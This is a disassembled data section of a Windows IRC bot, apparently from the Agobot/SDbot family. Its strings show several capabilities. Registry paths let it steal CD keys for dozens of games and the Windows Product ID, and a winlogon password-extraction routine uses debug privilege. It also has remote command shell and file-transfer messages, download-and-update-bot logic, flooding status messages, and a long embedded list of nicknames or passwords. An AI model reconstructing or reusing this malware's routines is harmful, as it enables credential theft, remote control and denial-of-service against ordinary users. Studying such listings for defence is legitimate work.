5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 10h db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_436134 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o dword_436148 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o align 10h dword_436180 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41524C:loc_415281o dword_436194 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41524C+20o dword_4361A8 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415369o dd 6574656Ch, 0 dword_4361C4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:004152CCo dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o ; sub_4157F0+26o align 10h dd 80000001h off_4361F4 dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr ; sub_415A2F+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_436200 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o dd 80000001h, 437384h, 437378h, 437368h, 2 dup(0) dd 80000001h, 437348h, 437344h, 437330h, 2 dup(0) dd 80000001h, 43730Ch, 437344h, 437300h, 2 dup(0) dd 80000001h, 4372DCh, 4372D4h, 4372C0h, 2 dup(0) dd 80000001h, 4372ACh, 43729Ch, 437280h, 2 dup(0) dd 80000001h, 43723Ch, 4373C4h, 437228h, 2 dup(0) dd 80000002h, 4371FCh, 4371F0h, 4371D0h, 2 dup(0) dd 80000002h, 43719Ch, 4373C4h, 437184h, 2 dup(0) dd 80000002h, 437150h, 4373C4h, 437138h, 2 dup(0) dd 80000002h, 437120h, 4373C4h, 437108h, 2 dup(0) dd 80000002h, 4370CCh, 43D128h, 4370BCh, 2 dup(0) dd 80000002h, 437084h, 43D128h, 437070h, 2 dup(0) dd 80000002h, 437024h, 43D128h, 437004h, 2 dup(0) dd 80000002h, 436FB4h, 43D128h, 436F88h, 2 dup(0) dd 80000002h, 436F4Ch, 43D128h, 436F38h, 2 dup(0) dd 80000002h, 436F00h, 43D128h, 436EF0h, 2 dup(0) dd 80000002h, 436EA0h, 43D128h, 436E74h, 2 dup(0) dd 80000002h, 436E34h, 43D128h, 436E18h, 2 dup(0) dd 80000002h, 436DE8h, 43D128h, 436DC8h, 2 dup(0) dd 80000002h, 436D8Ch, 43D128h, 436D78h, 2 dup(0) dd 80000002h, 436D30h, 43D128h, 436D10h, 2 dup(0) dd 80000002h, 436CBCh, 43D128h, 436C8Ch, 2 dup(0) dd 80000002h, 436C3Ch, 43D128h, 436C10h, 2 dup(0) dd 80000002h, 436BD0h, 436BC8h, 436BA8h, 2 dup(0) dd 80000002h, 436B64h, 43D128h, 436B48h, 2 dup(0) dd 80000002h, 436AFCh, 43D128h, 436AD8h, 2 dup(0) dd 80000002h, 436AA4h, 43D128h, 436A98h, 2 dup(0) dd 80000002h, 436A64h, 43D128h, 436A58h, 2 dup(0) dd 80000002h, 436A24h, 43D128h, 436A18h, 2 dup(0) dd 80000002h, 4369E4h, 43D128h, 4369D8h, 2 dup(0) dd 80000002h, 43699Ch, 43D128h, 436988h, 2 dup(0) dd 80000002h, 43694Ch, 43D128h, 436938h, 2 dup(0) dd 80000002h, 436908h, 4373C4h, 4368ECh, 2 dup(0) dd 80000002h, 4368CCh, 4368C4h, 4368A0h, 2 dup(0) dd 80000002h, 436884h, 4368C4h, 436864h, 2 dup(0) dd 80000002h, 436844h, 4368C4h, 436820h, 2 dup(0) dd 80000002h, 436808h, 4368C4h, 436804h, 2 dup(0) dd 80000002h, 4367E8h, 4367D8h, 4367D0h, 2 dup(0) dd 80000002h, 43679Ch, 42C218h, 436784h, 2 dup(0) dd 80000002h, 436748h, 43673Ch, 436714h, 436704h, 4366F0h dd 80000002h, 4366CCh, 4366C0h, 4366ACh, 43669Ch, 436694h dd 80000002h, 4366CCh, 4366C0h, 436668h, 43669Ch, 436660h dd 80000002h, 4366CCh, 4366C0h, 436630h, 43669Ch, 436628h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 10h aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 10h db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 10h aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 10h aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 10h db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 10h db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 10h aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 10h aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 10h db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 10h db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 10h aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 10h aProductid db 'ProductId',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 10h aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 10h aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004361FCo aCdkey db 'CDKey',0 ; DATA XREF: ___:004361F8o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361F4o align 4 asc_4373F4: ; DATA XREF: sub_415A2F+E9o ; sub_415A2F+F4o unicode 0, <=>,0 dword_4373F8 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_415A2F+2Bo dd 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437474 db 2Dh ; - ; DATA XREF: ___:00415F17o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 dword_437498 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:0041617Co ; ___:00416312o dd 726F72h unk_4374B0 db 2Dh ; - ; DATA XREF: ___:00416114o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_4374DC db 2Dh ; - ; DATA XREF: ___:0041601Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 10h dword_437500 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00415FE5o dd 74756Fh dword_437518 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:00415F84o dd 169h unk_437530 db 2Dh ; - ; DATA XREF: ___:00415F41o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 10h unk_437550 db 2Dh ; - ; DATA XREF: ___:00415E9Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_437574 db 2Dh ; - ; DATA XREF: ___:00415E5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 4 unk_437598 db 2Dh ; - ; DATA XREF: ___:0041638Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_4375C4 db 2Dh ; - ; DATA XREF: ___:00416287o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_4375E4 db 2Dh ; - ; DATA XREF: ___:00416267o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 10h aAB db 'a+b',0 ; DATA XREF: ___:00416253o unk_437614 db 2Dh ; - ; DATA XREF: ___:0041623Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_437644 db 2Dh ; - ; DATA XREF: ___:0041688Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_437670 db 2Dh ; - ; DATA XREF: ___:0041687Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_4376A4 db 2Dh ; - ; DATA XREF: ___:004167C2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 dword_4376E8 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416751o dd 25206465h, 73h unk_437704 db 2Dh ; - ; DATA XREF: ___:004166DAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_43773C db 2Dh ; - ; DATA XREF: ___:0041665Bo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_437764 db 2Dh ; - ; DATA XREF: ___:004165D1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 10h unk_437790 db 2Dh ; - ; DATA XREF: ___:0041658Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 unk_4377B8 db 2Dh ; - ; DATA XREF: ___:0041657Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 10h unk_4377E0 db 2Dh ; - ; DATA XREF: ___:00416470o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o ; sub_418EF6+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o align 10h aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo align 10h off_437830 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o word_437834 dw 3Fh ; DATA XREF: sub_4169A1+1Fo ; sub_41AA42:loc_41AB44r align 4 aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o ; sub_416B56+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co align 4 unk_437848 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_437884 db 2Dh ; - ; DATA XREF: sub_416B56+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_416C28:loc_416C6Do db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_437930 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_437964 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_437990 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 4 unk_4379C8 db 2Dh ; - ; DATA XREF: sub_416F1A+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_437A24 dd offset aMjehm ; DATA XREF: sub_416F1A+DCo ; "M†Eh¬" dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004D dd offset loc_4E0047+2 dd 0 off_437A3C dd offset aMjehm ; DATA XREF: sub_416F1A+CEo ; "M†Eh¬" dd offset byte_520045 dd offset loc_41004D+1 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o ; sub_416F1A+161o ... align 10h unk_437B00 db 2Dh ; - ; DATA XREF: sub_416F1A+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 10h aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o align 10h aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo align 4 dword_437B4C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417552+70o ; sub_4175E9+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_437B9C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4175E9+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_437BF0 dd offset aQ ; DATA XREF: sub_417ADD+5Cr ; "q" ; --------------------------------------------------------------------------- mov al, ds:38004387h lodsb inc edx add [ebx+eax*8], al inc edx add [eax-3Eh], bh inc edx add [edi+eax*4-5587FFBDh], bl inc edx add ah, dl retn 42h ; --------------------------------------------------------------------------- push esp stosb inc edx add ah, dl lodsb inc edx add ah, bl retn 42h ; --------------------------------------------------------------------------- dd offset aD ; "d" dd offset dword_438798 dd offset dword_438794 dd offset dword_438790 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_43878C dd offset dword_438788 dd offset dword_438784 dd offset aC ; "c" dd offset aV ; "v" dd offset dword_438780 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_43877C dd offset dword_438778 dd offset dword_438774 dd offset dword_438770 dd offset dword_43876C dd offset word_438768 dd offset dword_438764 dd offset aI_0 ; "I" dd offset dword_438760 dd offset dword_43875C dd offset aA_0 ; "A" dd offset dword_438758 dd offset dword_438754 dd offset dword_438750 dd offset dword_43874C dd offset dword_438748 dd offset dword_438744 dd offset dword_438740 dd offset dword_43873C dd offset dword_438738 dd offset dword_438734 dd offset dword_438730 dd offset dword_43872C dd offset dword_438728 dd offset word_438724 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_4384BC dd offset off_4384B8 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; 